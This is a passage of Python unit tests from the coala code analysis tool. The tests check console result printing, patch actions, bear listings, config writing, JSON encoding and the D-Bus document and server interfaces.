                                        "message",
                                        affected_code=affected_code),
                                 file_dict,
                                 color=True)
            self.assertEqual(stdout.getvalue(),
                             "\n"+relpath(some_file)+"\n")

    def test_acquire_actions_and_apply(self):
        with make_temp() as testfile_path:
            file_dict = {testfile_path: ["1\n", "2\n", "3\n"]}
            diff = Diff(file_dict[testfile_path])
            diff.delete_line(2)
            diff.change_line(3, "3\n", "3_changed\n")
            with simulate_console_inputs(1, 0) as generator, \
                    retrieve_stdout() as sio:
                ApplyPatchAction.is_applicable = staticmethod(
                    lambda *args: True)
                acquire_actions_and_apply(self.console_printer,
                                          self.log_printer,
                                          Section(""),
                                          self.file_diff_dict,
                                          Result("origin", "message", diffs={
                                              testfile_path: diff}),
                                          file_dict)
                self.assertEqual(generator.last_input, 1)
                self.assertIn(ApplyPatchAction.SUCCESS_MESSAGE, sio.getvalue())

            class InvalidateTestAction(ResultAction):

                is_applicable = staticmethod(lambda *args: True)

                def apply(*args, **kwargs):
                    ApplyPatchAction.is_applicable = staticmethod(
                        lambda *args: False)

            old_applypatch_is_applicable = ApplyPatchAction.is_applicable
            ApplyPatchAction.is_applicable = staticmethod(lambda *args: True)
            cli_actions = [ApplyPatchAction(), InvalidateTestAction()]

            with simulate_console_inputs(2, 1, 0) as generator, \
                    retrieve_stdout() as sio:
                acquire_actions_and_apply(self.console_printer,
                                          self.log_printer,
                                          Section(""),
                                          self.file_diff_dict,
                                          Result("origin", "message",
                                                 diffs={testfile_path: diff}),
                                          file_dict,
                                          cli_actions=cli_actions)
                self.assertEqual(generator.last_input, 2)

                action_fail = "Failed to execute the action"
                self.assertNotIn(action_fail, sio.getvalue())

                apply_path_desc = ApplyPatchAction().get_metadata().desc
                self.assertEqual(sio.getvalue().count(apply_path_desc), 1)

            ApplyPatchAction.is_applicable = old_applypatch_is_applicable

    def test_ask_for_actions_and_apply(self):
        failed_actions = set()
        action = TestAction()
        args = [self.log_printer, self.console_printer, Section(""),
                [action.get_metadata()], {'TestAction': action},
                failed_actions, Result("origin", "message"), {}, {}]

        with simulate_console_inputs(1, 'param1', 1, 'param2') as generator:
            action.apply = unittest.mock.Mock(side_effect=AssertionError)
            ask_for_action_and_apply(*args)
            self.assertEqual(generator.last_input, 1)
            self.assertIn('TestAction', failed_actions)

            action.apply = lambda *args, **kwargs: {}
            ask_for_action_and_apply(*args)
            self.assertEqual(generator.last_input, 3)
            self.assertNotIn('TestAction', failed_actions)

    def test_print_result_no_input(self):
        with make_temp() as testfile_path:
            file_dict = {testfile_path: ["1\n", "2\n", "3\n"]}
            diff = Diff(file_dict[testfile_path])
            diff.delete_line(2)
            diff.change_line(3, "3\n", "3_changed\n")
            with simulate_console_inputs(1, 2, 3) as generator, \
                    retrieve_stdout() as stdout:
                ApplyPatchAction.is_applicable = staticmethod(
                    lambda *args: True)
                print_results_no_input(self.log_printer,
                                       Section("someSection"),
                                       [Result("origin", "message", diffs={
                                           testfile_path: diff})],
                                       file_dict,
                                       self.file_diff_dict,
                                       color=False)
                self.assertEqual(generator.last_input, -1)
                self.assertEqual(stdout.getvalue(),
                                 """
Project wide:
|    | [NORMAL] origin:
|    | {}\n""".format(highlight_text("message", style=BackgroundMessageStyle)))

    def test_print_section_beginning(self):
        with retrieve_stdout() as stdout:
            print_section_beginning(self.console_printer, Section("name"))
            self.assertEqual(stdout.getvalue(), "Executing section name...\n")

    def test_nothing_done(self):
        with retrieve_stdout() as stdout:
            nothing_done(self.log_printer)
            self.assertIn("No existent section was targeted or enabled. "
                          "Nothing to do.\n",
                          stdout.getvalue())

    def test_print_results_empty(self):
        with retrieve_stdout() as stdout:
            print_results(self.log_printer, Section(""), [], {}, {})
            self.assertEqual(stdout.getvalue(), "")

    def test_print_results_project_wide(self):
        with retrieve_stdout() as stdout:
            print_results(self.log_printer,
                          Section(""),
                          [Result("origin", "message")],
                          {},
                          {},
                          color=False)
            self.assertEqual(
                "\n{}\n|    | [NORMAL] origin:\n|    | {}\n".format(
                    STR_PROJECT_WIDE,
                    highlight_text("message", style=BackgroundMessageStyle)),
                stdout.getvalue())

    def test_print_results_for_file(self):
        with retrieve_stdout() as stdout:
            print_results(
                self.log_printer,
                Section(""),
                [Result.from_values("SpaceConsistencyBear",
                                    "Trailing whitespace found",
                                    file="filename",
                                    line=2)],
                {abspath("filename"): ["test line\n", "line 2\n", "line 3\n"]},
                {},
                color=False)
            self.assertEqual("""\nfilename
|   2| {}
|    | [NORMAL] SpaceConsistencyBear:
|    | {}\n""".format(highlight_text('line 2', self.lexer),
                      highlight_text("Trailing whitespace found",
                                     style=BackgroundMessageStyle)),
                stdout.getvalue())

        with retrieve_stdout() as stdout:
            print_results(
                self.log_printer,
                Section(""),
                [Result.from_values("SpaceConsistencyBear",
                                    "Trailing whitespace found",
                                    file="filename",
                                    line=5)],
                {abspath("filename"): ["test line\n",
                                       "line 2\n",
                                       "line 3\n",
                                       "line 4\n",
                                       "line 5\n"]},
                {},
                color=False)
            self.assertEqual("""\nfilename
|   5| {}
|    | [NORMAL] SpaceConsistencyBear:
|    | {}\n""".format(highlight_text('line 5', self.lexer),
                      highlight_text("Trailing whitespace found",
                                     style=BackgroundMessageStyle)),
                stdout.getvalue())

    def test_print_results_sorting(self):
        with retrieve_stdout() as stdout:
            print_results(self.log_printer,
                          Section(""),
                          [Result.from_values("SpaceConsistencyBear",
                                              "Trailing whitespace found",
                                              file="file",
                                              line=5),
                           Result.from_values("SpaceConsistencyBear",
                                              "Trailing whitespace found",
                                              file="file",
                                              line=2)],
                          {abspath("file"): ["test line\n",
                                             "\t\n",
                                             "line 3\n",
                                             "line 4\n",
                                             "line 5\t\n"]},
                          {},
                          color=False)

            self.assertEqual("""
file
|   2| {0}
|    | [NORMAL] SpaceConsistencyBear:
|    | {1}

file
|   5| {2}
|    | [NORMAL] SpaceConsistencyBear:
|    | {1}\n""".format(highlight_text('\t', self.lexer),
                       highlight_text("Trailing whitespace found",
                                      style=BackgroundMessageStyle),
                       highlight_text('line 5\t', self.lexer)),
                stdout.getvalue())

    def test_print_results_multiple_ranges(self):
        affected_code = (
            SourceRange.from_values("some_file", 5, end_line=7),
            SourceRange.from_values("another_file", 1, 3, 1, 5),
            SourceRange.from_values("another_file", 3, 3, 3, 5))
        with retrieve_stdout() as stdout:
            print_results(
                self.log_printer,
                Section(""),
                [Result("ClangCloneDetectionBear",
                        "Clone Found",
                        affected_code)],
                {abspath("some_file"): ["line " + str(i + 1) + "\n"
                                        for i in range(10)],
                 abspath("another_file"): ["line " + str(i + 1)
                                           for i in range(10)]},
                {},
                color=False)
            self.assertEqual("""
another_file
|   1| li{0}{1}

another_file
|   3| li{0}{2}

some_file
|   5| {3}
|   6| {4}
|   7| {5}
|    | [NORMAL] ClangCloneDetectionBear:
|    | {6}\n""".format(highlight_text('ne', self.lexer,
                                      BackgroundSourceRangeStyle),
                       highlight_text(' 1', self.lexer),
                       highlight_text(' 3', self.lexer),
                       highlight_text('line 5', self.lexer),
                       highlight_text('line 6', self.lexer),
                       highlight_text('line 7', self.lexer),
                       highlight_text("Clone Found",
                                      style=BackgroundMessageStyle)),
                stdout.getvalue())

    def test_print_results_missing_file(self):
        self.log_printer = LogPrinter(NullPrinter())
        with retrieve_stdout() as stdout:
            print_results(
                self.log_printer,
                Section(""),
                [Result("t", "msg"),
                 Result.from_values("t", "msg", file="file", line=5)],
                {},
                {},
                color=False)
            self.assertEqual("\n" + STR_PROJECT_WIDE + "\n"
                             "|    | [NORMAL] t:\n"
                             "|    | {0}\n"
                             # Second results file isn't there, no context is
                             # printed, only a warning log message which we
                             # don't catch
                             "|    | [NORMAL] t:\n"
                             "|    | {0}\n".format(
                                 highlight_text("msg",
                                                style=BackgroundMessageStyle)),
                             stdout.getvalue())

    def test_print_results_missing_line(self):
        with retrieve_stdout() as stdout:
            print_results(
                self.log_printer,
                Section(""),
                [Result.from_values("t", "msg", file="file", line=5),
                 Result.from_values("t", "msg", file="file", line=6)],
                {abspath("file"): ["line " + str(i + 1) for i in range(5)]},
                {},
                color=False)
            self.assertEqual("\n"
                             "file\n"
                             "|   5| {0}\n"
                             "|    | [NORMAL] t:\n"
                             "|    | {1}\n"
                             "\n"
                             "file\n"
                             "|   6| {2}\n"
                             "|    | [NORMAL] t:\n"
                             "|    | {1}\n".format(
                                 highlight_text('line 5', self.lexer),
                                 highlight_text("msg",
                                                style=BackgroundMessageStyle),
                                 STR_LINE_DOESNT_EXIST),
                             stdout.getvalue())

    def test_print_results_without_line(self):
        with retrieve_stdout() as stdout:
            print_results(
                self.log_printer,
                Section(""),
                [Result.from_values("t", "msg", file="file")],
                {abspath("file"): []},
                {},
                color=False)
            self.assertEqual(
                "\nfile\n"
                "|    | [NORMAL] t:\n"
                "|    | {}\n".format(highlight_text(
                    "msg", style=BackgroundMessageStyle)),
                stdout.getvalue())


class ShowBearsTest(unittest.TestCase):

    def setUp(self):
        self.console_printer = ConsolePrinter(print_colored=False)

    def test_show_bear_minimal(self):
        with retrieve_stdout() as stdout:
            show_bear(
                SomelocalBear, ['one'], False, False, self.console_printer)
            self.assertEqual(stdout.getvalue(), 'SomelocalBear\n')

    def test_show_bear_desc_only(self):
        with retrieve_stdout() as stdout:
            show_bear(
                SomelocalBear, ['one'], True, False, self.console_printer)
            self.assertEqual(
                stdout.getvalue(),
                'SomelocalBear\n  Some local-bear Description.\n\n')

    def test_show_bear_details_only(self):
        with retrieve_stdout() as stdout:
            show_bear(
                SomelocalBear, [], False, True, self.console_printer)
            self.assertEqual(stdout.getvalue(),
                             'SomelocalBear\n'
                             '  The bear does not provide information about '
                             'which languages it can analyze.\n\n'
                             '  No sections.\n\n'
                             '  No needed settings.\n\n'
                             '  No optional settings.\n\n'
                             '  This bear does not provide information about '
                             'what categories it can detect.\n\n'
                             '  This bear cannot fix issues or does not '
                             'provide information about what categories it '
                             'can fix.\n\n')

    def test_show_bear_long_without_content(self):
        with retrieve_stdout() as stdout:
            show_bear(
                SomelocalBear, [], True, True, self.console_printer)
            self.assertEqual(stdout.getvalue(),
                             'SomelocalBear\n'
                             '  Some local-bear Description.\n\n'
                             '  The bear does not provide information about '
                             'which languages it can analyze.\n\n'
                             '  No sections.\n\n'
                             '  No needed settings.\n\n'
                             '  No optional settings.\n\n'
                             '  This bear does not provide information about '
                             'what categories it can detect.\n\n'
                             '  This bear cannot fix issues or does not '
                             'provide information about what categories it '
                             'can fix.\n\n')

    def test_show_bear_with_content(self):
        with retrieve_stdout() as stdout:
            show_bear(TestBear, ['section'], True, True, self.console_printer)
            self.assertEqual(stdout.getvalue(),
                             "TestBear\n"
                             "  Test bear Description.\n\n"
                             "  Supported languages:\n"
                             "   * F#\n"
                             "   * Shakespearean Programming Language\n\n"
                             "  Used in:\n"
                             "   * section\n\n"
                             "  Needed Settings:\n"
                             "   * setting1: Required Setting.\n\n"
                             "  Optional Settings:\n"
                             "   * setting2: Optional Setting. ("
                             "Optional, defaults to 'None'."
                             ")\n\n"
                             '  Can detect:\n   * Formatting\n\n'
                             '  Can fix:\n   * Formatting\n\n')

    def test_show_bears_empty(self):
        with retrieve_stdout() as stdout:
            show_bears({}, {}, True, True, self.console_printer)
            self.assertIn("No bears to show.", stdout.getvalue())

    @patch('coalib.output.ConsoleInteraction.show_bear')
    def test_show_bears(self, show_bear):
        local_bears = OrderedDict([("default", [SomelocalBear]),
                                   ("test", [SomelocalBear])])
        show_bears(local_bears, {}, True, True, self.console_printer)
        show_bear.assert_called_once_with(SomelocalBear,
                                          ['default', 'test'],
                                          True,
                                          True,
                                          self.console_printer)

    def test_show_bears_capabilities(self):
        with retrieve_stdout() as stdout:
            show_language_bears_capabilities(
                {'some_language': ({'Formatting', 'Security'}, {'Formatting'})},
                self.console_printer)
            self.assertIn('coala can do the following for SOME_LANGUAGE\n'
                          '    Can detect only: Formatting, Security\n'
                          '    Can fix        : Formatting\n',
                          stdout.getvalue())
            show_language_bears_capabilities(
                {'some_language': (set(), set())}, self.console_printer)
            self.assertIn('coala does not support some_language',
                          stdout.getvalue())
            show_language_bears_capabilities(
                {}, self.console_printer)
            self.assertIn(
                'There is no bear available for this language',
                stdout.getvalue())
            show_language_bears_capabilities(
                {'some_language': ({'Formatting', 'Security'}, set())},
                self.console_printer)
            self.assertIn('coala can do the following for SOME_LANGUAGE\n'
                          '    Can detect only: Formatting, Security\n',
                          stdout.getvalue())
# Own test because this is easy and not tied to the rest


class PrintFormattedResultsTest(unittest.TestCase):

    def setUp(self):
        self.printer = StringPrinter()
        self.logger = LogPrinter(self.printer)
        self.section = Section("t")

    def test_default_format(self):
        expected_string = ("id:-?[0-9]+:origin:1:file:None:line:None:"
                           "column:None:end_line:None:end_column:None:"
                           "severity:1:severity_str:NORMAL:message:2\n")
        with retrieve_stdout() as stdout:
            print_results_formatted(self.logger,
                                    self.section,
                                    [Result("1", "2")],
                                    None,
                                    None)
            self.assertRegex(stdout.getvalue(), expected_string)

    def test_multiple_ranges(self):
        expected_string = (
            "id:-?[0-9]+:origin:1:.*file:.*another_file:line:5:"
            "column:3:end_line:5:end_column:5:"
            "severity:1:severity_str:NORMAL:message:2\n"
            "id:-?[0-9]+:origin:1:.*file:.*some_file:line:5:"
            "column:None:end_line:7:end_column:None:"
            "severity:1:severity_str:NORMAL:message:2\n")
        affected_code = (SourceRange.from_values("some_file", 5, end_line=7),
                         SourceRange.from_values("another_file", 5, 3, 5, 5))
        with retrieve_stdout() as stdout:
            print_results_formatted(self.logger,
                                    self.section,
                                    [Result("1", "2", affected_code)],
                                    None,
                                    None)
            self.assertRegex(stdout.getvalue(), expected_string)

    def test_bad_format(self):
        self.section.append(Setting("format_str", "{nonexistant}"))
        print_results_formatted(self.logger,
                                self.section,
                                [Result("1", "2")],
                                None,
                                None)
        self.assertRegex(self.printer.string, ".*Unable to print.*")

    def test_good_format(self):
        self.section.append(Setting("format_str", "{origin}"))
        with retrieve_stdout() as stdout:
            print_results_formatted(self.logger,
                                    self.section,
                                    [Result("1", "2")],
                                    None,
                                    None)
            self.assertEqual(stdout.getvalue(), "1\n")

    def test_empty_list(self):
        self.section.append(Setting("format_str", "{origin}"))
        # Shouldn't attempt to format the string None and will fail badly if
        # its done wrong.
        print_results_formatted(None,
                                self.section,
                                [],
                                None,
                                None,
                                None)






import unittest

from pyprint.NullPrinter import NullPrinter

from coalib.output.Interactions import fail_acquire_settings
from coalib.output.printers.LogPrinter import LogPrinter


class InteractionsTest(unittest.TestCase):

    def test_(self):
        log_printer = LogPrinter(NullPrinter())
        self.assertRaises(TypeError, fail_acquire_settings, log_printer, None)
        self.assertRaises(AssertionError,
                          fail_acquire_settings,
                          log_printer,
                          {"setting": ["description", "bear"]})
        self.assertEqual(fail_acquire_settings(log_printer, {}), None)






import os
import tempfile
import unittest

from coalib.output.ConfWriter import ConfWriter
from coalib.parsing.ConfParser import ConfParser


class ConfWriterTest(unittest.TestCase):
    example_file = ("to be ignored \n"
                    "    save=true\n"
                    "    a_default, another = val \n"
                    "    TEST = tobeignored  # thats a comment \n"
                    "    test = push \n"
                    "    t = \n"
                    "    [MakeFiles] \n"
                    "     j  , ANother = a \n"
                    "                   multiline \n"
                    "                   value \n"
                    "    ; just a omment \n"
                    "    ; just a omment \n"
                    "    key\\ space = value space\n"
                    "    key\\=equal = value=equal\n"
                    "    key\\\\backslash = value\\\\backslash\n"
                    "    key\\,comma = value,comma\n"
                    "    key\\#hash = value\\#hash\n"
                    "    key\\.dot = value.dot\n")

    def setUp(self):
        self.file = os.path.join(tempfile.gettempdir(), "ConfParserTestFile")
        with open(self.file, "w", encoding='utf-8') as file:
            file.write(self.example_file)

        self.conf_parser = ConfParser()
        self.write_file_name = os.path.join(tempfile.gettempdir(),
                                            "ConfWriterTestFile")
        self.uut = ConfWriter(self.write_file_name)

    def tearDown(self):
        self.uut.close()
        os.remove(self.file)
        os.remove(self.write_file_name)

    def test_exceptions(self):
        self.assertRaises(TypeError, self.uut.write_section, 5)

    def test_write(self):
        result_file = ["[Default]\n",
                       "save = true\n",
                       "a_default, another = val\n",
                       "# thats a comment\n",
                       "test = push\n",
                       "t = \n",
                       "\n",
                       "[MakeFiles]\n",
                       "j, ANother = a\n",
                       "multiline\n",
                       "value\n",
                       "; just a omment\n",
                       "; just a omment\n",
                       "key\\ space = value space\n",
                       "key\\=equal = value=equal\n",
                       "key\\\\backslash = value\\\\backslash\n",
                       "key\\,comma = value,comma\n",
                       "key\\#hash = value\\#hash\n",
                       "key\\.dot = value.dot\n"]
        self.uut.write_sections(self.conf_parser.parse(self.file))
        self.uut.close()

        with open(self.write_file_name, "r") as f:
            lines = f.readlines()

        self.assertEqual(result_file, lines)






import json
import unittest
from datetime import datetime

from coalib.output.JSONEncoder import create_json_encoder


class TestClass1(object):

    def __init__(self):
        self.a = 0


class TestClass2(object):

    def __init__(self):
        self.a = 0
        self.b = TestClass1()


class TestClass3(object):

    def __init__(self):
        self.a = 0
        self.b = TestClass1()

    @staticmethod
    def __getitem__(key):
        return "val"

    @staticmethod
    def keys():
        return ["key"]


class PropertiedClass(object):

    def __init__(self):
        self._a = 5

    @property
    def prop(self):
        return self._a


class JSONAbleClass(object):

    @staticmethod
    def __json__():
        return ['dont', 'panic']


class JSONEncoderTest(unittest.TestCase):
    JSONEncoder = create_json_encoder(use_relpath=True)
    kw = {"cls": JSONEncoder, "sort_keys": True}

    def test_builtins(self):
        self.assertEquals('"test"', json.dumps("test", **self.kw))
        self.assertEquals('1', json.dumps(1, **self.kw))
        self.assertEquals('true', json.dumps(True, **self.kw))
        self.assertEquals('null', json.dumps(None, **self.kw))

    def test_iter(self):
        self.assertEquals('[0, 1]', json.dumps([0, 1], **self.kw))
        self.assertEquals('[0, 1]', json.dumps((0, 1), **self.kw))
        self.assertEquals('[0, 1]', json.dumps(range(2), **self.kw))

    def test_dict(self):
        self.assertEquals('{"0": 1}', json.dumps({0: 1}, **self.kw))
        self.assertEquals('{"0": 1}', json.dumps({"0": 1}, **self.kw))
        self.assertEquals('{"0": "1"}', json.dumps({"0": "1"}, **self.kw))

    def test_time(self):
        tf = datetime.today()
        self.assertEquals('"' + tf.isoformat() + '"',
                          json.dumps(tf, **self.kw))

    def test_class1(self):
        tc1 = TestClass1()
        self.assertEquals('{"a": 0}', json.dumps(tc1, **self.kw))
        self.assertEquals('[{"a": 0}]', json.dumps([tc1], **self.kw))
        self.assertEquals('{"0": {"a": 0}}', json.dumps({0: tc1}, **self.kw))

    def test_class2(self):
        tc2 = TestClass2()
        self.assertEquals('{"a": 0, "b": {"a": 0}}',
                          json.dumps(tc2, **self.kw))

    def test_class3(self):
        tc3 = TestClass3()
        self.assertEquals('{"key": "val"}',
                          json.dumps(tc3, **self.kw))

    def test_propertied_class(self):
        uut = PropertiedClass()
        self.assertEqual('{"prop": 5}', json.dumps(uut, **self.kw))

    def test_jsonable_class(self):
        uut = JSONAbleClass()
        self.assertEqual('["dont", "panic"]', json.dumps(uut, **self.kw))

    def test_type_error(self):
        with self.assertRaises(TypeError):
            json.dumps(1j, **self.kw)












import unittest
from unittest.case import SkipTest

try:
    from coalib.output.dbus.DbusApp import DbusApp
except ImportError as err:
    raise SkipTest('python-dbus is not installed')


class DbusAppTest(unittest.TestCase):

    def test_docs(self):
        uut = DbusApp(app_id=1)
        doc1 = __file__
        doc2 = __file__ + ".txt"

        uut.create_document(doc1)
        self.assertIn(doc1, uut.docs)

        uut.dispose_document(doc2)
        self.assertNotIn(doc2, uut.docs)
        self.assertIn(doc1, uut.docs)

        uut.dispose_document(doc1)
        self.assertNotIn(doc1, uut.docs)






import os
import unittest
from unittest.case import SkipTest

from coalib.misc import Constants

try:
    from coalib.output.dbus.DbusDocument import DbusDocument
except ImportError as err:
    raise SkipTest('python-dbus is not installed')


class DbusDocumentTest(unittest.TestCase):

    def setUp(self):
        self.config_path = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "dbus_test_files",
                         ".coafile"))
        self.testcode_c_path = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "dbus_test_files",
                         "testcode.c"))

    def test_path(self):
        test_file = "a"
        uut = DbusDocument(doc_id=1)
        self.assertEqual(uut.path, "")

        uut = DbusDocument(doc_id=1, path=test_file)
        self.assertEqual(uut.path, os.path.abspath(test_file))

    def test_config(self):
        uut = DbusDocument(doc_id=1)
        self.assertEqual(uut.FindConfigFile(), "")

        uut.path = self.testcode_c_path
        self.assertEqual(uut.FindConfigFile(), self.config_path)

        uut.SetConfigFile("config_file")
        self.assertEqual(uut.config_file, "config_file")

        self.assertEqual(uut.GetConfigFile(), "config_file")

    def test_analyze(self):
        uut = DbusDocument(doc_id=1)
        self.assertEqual(uut.Analyze(), [])

        uut.path = self.testcode_c_path
        self.assertEqual(uut.Analyze(), [])

        self.maxDiff = None
        uut.SetConfigFile(self.config_path)
        output = uut.Analyze()
        self.assertEqual(output,
                         (1,
                          [],
                          [['default',
                            True,
                            [{'debug_msg': '',
                              'additional_info': '',
                              'file': '',
                              'id': output[2][0][2][0]['id'],
                              'line_nr': '',
                              'message': 'test msg',
                              'origin': 'LocalTestBear',
                              'severity': 'NORMAL',
                              'confidence': '100'},
                             {'debug_msg': '',
                              'additional_info': '',
                              'file': self.testcode_c_path,
                              'id': output[2][0][2][1]['id'],
                              'line_nr': '',
                              'message': 'test msg',
                              'origin': 'GlobalTestBear',
                              'severity': 'NORMAL',
                              'confidence': '100'}]]]))

        uut.path = "test.unknown_extension"
        output = uut.Analyze()
        self.assertEqual(output, (0, [], []))

        uut.SetConfigFile(self.config_path + "2")
        output = uut.Analyze()
        self.assertEqual(output[0], 255)
        self.assertEqual(output[1][1]["log_level"], "ERROR")
        self.assertEqual(output[1][1]["message"], Constants.CRASH_MESSAGE)






import unittest
from unittest.case import SkipTest

try:
    import dbus
    import dbus.mainloop

    from coalib.output.dbus.DbusServer import DbusServer
except ImportError as err:
    raise SkipTest('python-dbus is not installed')


class DbusServerTest(unittest.TestCase):

    def setUp(self):
        self.session_bus = dbus.SessionBus(
            mainloop=dbus.mainloop.NULL_MAIN_LOOP)
        self.dbus_name = dbus.service.BusName("org.coala_analyzer.v1.test",
                                              self.session_bus)

    def tearDown(self):
        self.session_bus.close()

    def test_apps(self):
        uut = DbusServer(self.session_bus, "/org/coala_analyzer/v1/test_apps")

        uut.get_or_create_app("app1")
        self.assertEqual(len(uut.apps), 1)
        self.assertIn("app1", uut.apps)

        uut.get_or_create_app("app1")
        self.assertIn("app1", uut.apps)

        uut.dispose_app("app2")
        self.assertNotIn("app2", uut.apps)
        self.assertIn("app1", uut.apps)

        uut.dispose_app("app1")
        self.assertNotIn("app1", uut.apps)

    def test_on_name_lost(self):
        uut = DbusServer(self.session_bus,
                         "/org/coala_analyzer/v1/test_on_name_lost")
        uut.create_app("app1")

        uut._on_name_lost("", "", "a1")
        self.assertIn("app1", uut.apps)

        uut._on_name_lost("", "app2", "")
        self.assertIn("app1", uut.apps)

        uut._on_name_lost("", "app1", "")
        self.assertNotIn("app1", uut.apps)

    def test_on_disconnected(self):
        def on_disconnected_callback():
            assert 1 == 2

        test_output = 0
        uut = DbusServer(self.session_bus,
                         "/org/coala_analyzer/v1/test_callback",
                         on_disconnected_callback)
        uut.create_app("app1")
        self.assertRaises(AssertionError, uut.dispose_app, "app1")

    def test_docs(self):
        uut = DbusServer(self.session_bus,
                         "/org/coala_analyzer/v1/test_docs")
        uut.create_app("app1")
        self.assertIn("app1", uut.apps)

        doc1 = __file__
        doc2 = __file__ + ".txt"

        uut.create_document(uut.apps["app1"], doc1)
        self.assertIn(doc1, uut.apps["app1"].docs)

        uut.get_or_create_document(uut.apps["app1"], doc1)
        self.assertIn(doc1, uut.apps["app1"].docs)

        uut.dispose_document(uut.apps["app1"], doc2)
        self.assertIn("app1", uut.apps)
        self.assertNotIn(doc2, uut.apps["app1"].docs)
        self.assertIn(doc1, uut.apps["app1"].docs)

        uut.get_or_create_document(uut.apps["app1"], doc2)
        uut.dispose_document(uut.apps["app1"], doc1)
        self.assertIn("app1", uut.apps)
        self.assertIn(doc2, uut.apps["app1"].docs)

        uut.dispose_document(uut.apps["app1"], doc2)
        self.assertNotIn("app1", uut.apps)

    def test_dbus_methods(self):
        uut = DbusServer(self.session_bus,
                         "/org/coala_analyzer/v1/test_dbus_methods")
        doc1 = __file__

        uut.CreateDocument(doc1, sender="app1")
        self.assertIn("app1", uut.apps)
        self.assertIn(doc1, uut.apps["app1"].docs)

        uut.DisposeDocument(doc1, sender="app1")
        self.assertNotIn("app1", uut.apps)

        uut.DisposeDocument(doc1, sender="app2")
        self.assertEqual(len(uut.apps), 0)












import os
import subprocess
import sys
import time
import unittest
from unittest.case import SkipTest

from coalib.misc import Constants

try:
    import dbus
    # Needed to determine if test needs skipping
    from gi.repository import GLib
except ImportError as err:
    raise SkipTest('python-dbus or python-gi is not installed')


def make_test_server():
    # Make a dbus service in a new process. It cannot be in this process
    # as that gives SegmentationFaults because the same bus is being used.

    # For some reason this also fails on some systems if moved to another file
    return subprocess.Popen([
        sys.executable,
        '-c',
        """
import sys
import dbus
import dbus.mainloop.glib
from gi.repository import GLib
from coalib.output.dbus.DbusServer import DbusServer
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
print('Creating session bus ...')
session_bus = dbus.SessionBus()
dbus_name = dbus.service.BusName("org.coala_analyzer.v1.test", session_bus)
print('Creating DbbusServer object ...')
dbus_server = DbusServer(session_bus, "/org/coala_analyzer/v1/test",
                         on_disconnected=lambda: GLib.idle_add(sys.exit))
mainloop = GLib.MainLoop()
print('Starting GLib mainloop ...')
mainloop.run()
"""],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE)


class DbusTest(unittest.TestCase):

    def setUp(self):
        self.config_path = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "dbus_test_files",
                         ".coafile"))
        self.testcode_c_path = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "dbus_test_files",
                         "testcode.c"))

        self.subprocess = make_test_server()
        trials_left = 50

        while trials_left > 0:
            time.sleep(0.1)
            trials_left = trials_left - 1
            try:
                self.connect_to_test_server()
                continue
            except dbus.exceptions.DBusException as exception:
                if trials_left == 0:
                    print("Stdout:")
                    print(self.subprocess.stdout.read().decode("utf-8"))
                    print("Stderr:")
                    print(self.subprocess.stderr.read().decode("utf-8"))
                    raise exception

    def connect_to_test_server(self):
        self.bus = dbus.SessionBus()
        self.remote_object = self.bus.get_object("org.coala_analyzer.v1.test",
                                                 "/org/coala_analyzer/v1/test")

    def test_dbus(self):
        self.document_object_path = self.remote_object.CreateDocument(
            self.testcode_c_path,
            dbus_interface="org.coala_analyzer.v1")

        self.assertRegex(str(self.document_object_path),
                         r"^/org/coala_analyzer/v1/test/\d+/documents/\d+$")

        self.document_object = self.bus.get_object(
            "org.coala_analyzer.v1.test",
            self.document_object_path)

        config_file = self.document_object.SetConfigFile(
            "dummy_config",
            dbus_interface="org.coala_analyzer.v1")
        self.assertEqual(config_file, "dummy_config")

        config_file = self.document_object.GetConfigFile(
            dbus_interface="org.coala_analyzer.v1")
        self.assertEqual(config_file, "dummy_config")

        config_file = self.document_object.FindConfigFile(
            dbus_interface="org.coala_analyzer.v1")
        self.assertEqual(config_file, self.config_path)

        analysis = self.document_object.Analyze(
            dbus_interface="org.coala_analyzer.v1")

        self.maxDiff = None
        print(analysis)

        # Run some basic analysis with good debug messages.
        self.assertEqual(analysis[0], 1, "Exit code was not 1.")
        self.assertEqual(len(analysis[1]), 0, "Unexpected log messages found.")

        sections = analysis[2]
        self.assertEqual(len(sections), 1, "Expected only 1 section to run.")

        section = sections[0]
        self.assertEqual(section[0], "default",
                         "Expected section to be named 'default'.")
        self.assertTrue(section[1], "Section did not execute successfully.")
        self.assertEqual(len(section[2]), 2, "Expected 2 results in section.")

        # Remove the ids as they are hashes and cannot be asserted.
        for result in section[2]:
            result['id'] = 0

        # We also test as a dictionary as dbus should be able to convert
        # it into the correct python types.
        self.assertEqual(analysis,
                         (1,
                          [],
                          [('default',
                            True,
                            [{'debug_msg': '',
                              'additional_info': '',
                              'file': '',
                              'id': 0,
                              'line_nr': "",
                              'message': 'test msg',
                              'origin': 'LocalTestBear',
                              'severity': 'NORMAL',
                              'confidence': '100'},
                             {'debug_msg': '',
                              'additional_info': '',
                              'file': self.testcode_c_path,
                              'id': 0,
                              'line_nr': "",
                              'message': 'test msg',
                              'origin': 'GlobalTestBear',
                              'severity': 'NORMAL',
                              'confidence': '100'}])]))

        config_file = self.document_object.SetConfigFile(
            self.config_path + "2",
            dbus_interface="org.coala_analyzer.v1")
        analysis = self.document_object.Analyze(
            dbus_interface="org.coala_analyzer.v1")
        self.assertEqual(analysis[0], 255)
        self.assertEqual(analysis[1][1]["log_level"], "ERROR")
        self.assertEqual(analysis[1][1]["message"], Constants.CRASH_MESSAGE)

        # Skip file if file pattern doesn't match
        # Also test if 2 documents can be opened simultaneously
        self.document_object_path = self.remote_object.CreateDocument(
            "test.unknown_ext",
            dbus_interface="org.coala_analyzer.v1")
        self.document_object = self.bus.get_object(
            "org.coala_analyzer.v1.test",
            self.document_object_path)
        config_file = self.document_object.SetConfigFile(
            self.config_path,
            dbus_interface="org.coala_analyzer.v1")
        analysis = self.document_object.Analyze(
            dbus_interface="org.coala_analyzer.v1")
        self.assertEqual(analysis, (0, [], []))

        self.remote_object.DisposeDocument(
            self.testcode_c_path,
            dbus_interface="org.coala_analyzer.v1")

        self.remote_object.DisposeDocument(
            "test.unknown_ext",
            dbus_interface="org.coala_analyzer.v1")

    def tearDown(self):
        if self.subprocess:
            self.subprocess.kill()






import unittest
from distutils.errors import DistutilsOptionError

from setuptools.dist import Distribution

from coalib.misc import Constants
from coalib.misc.ContextManagers import make_temp
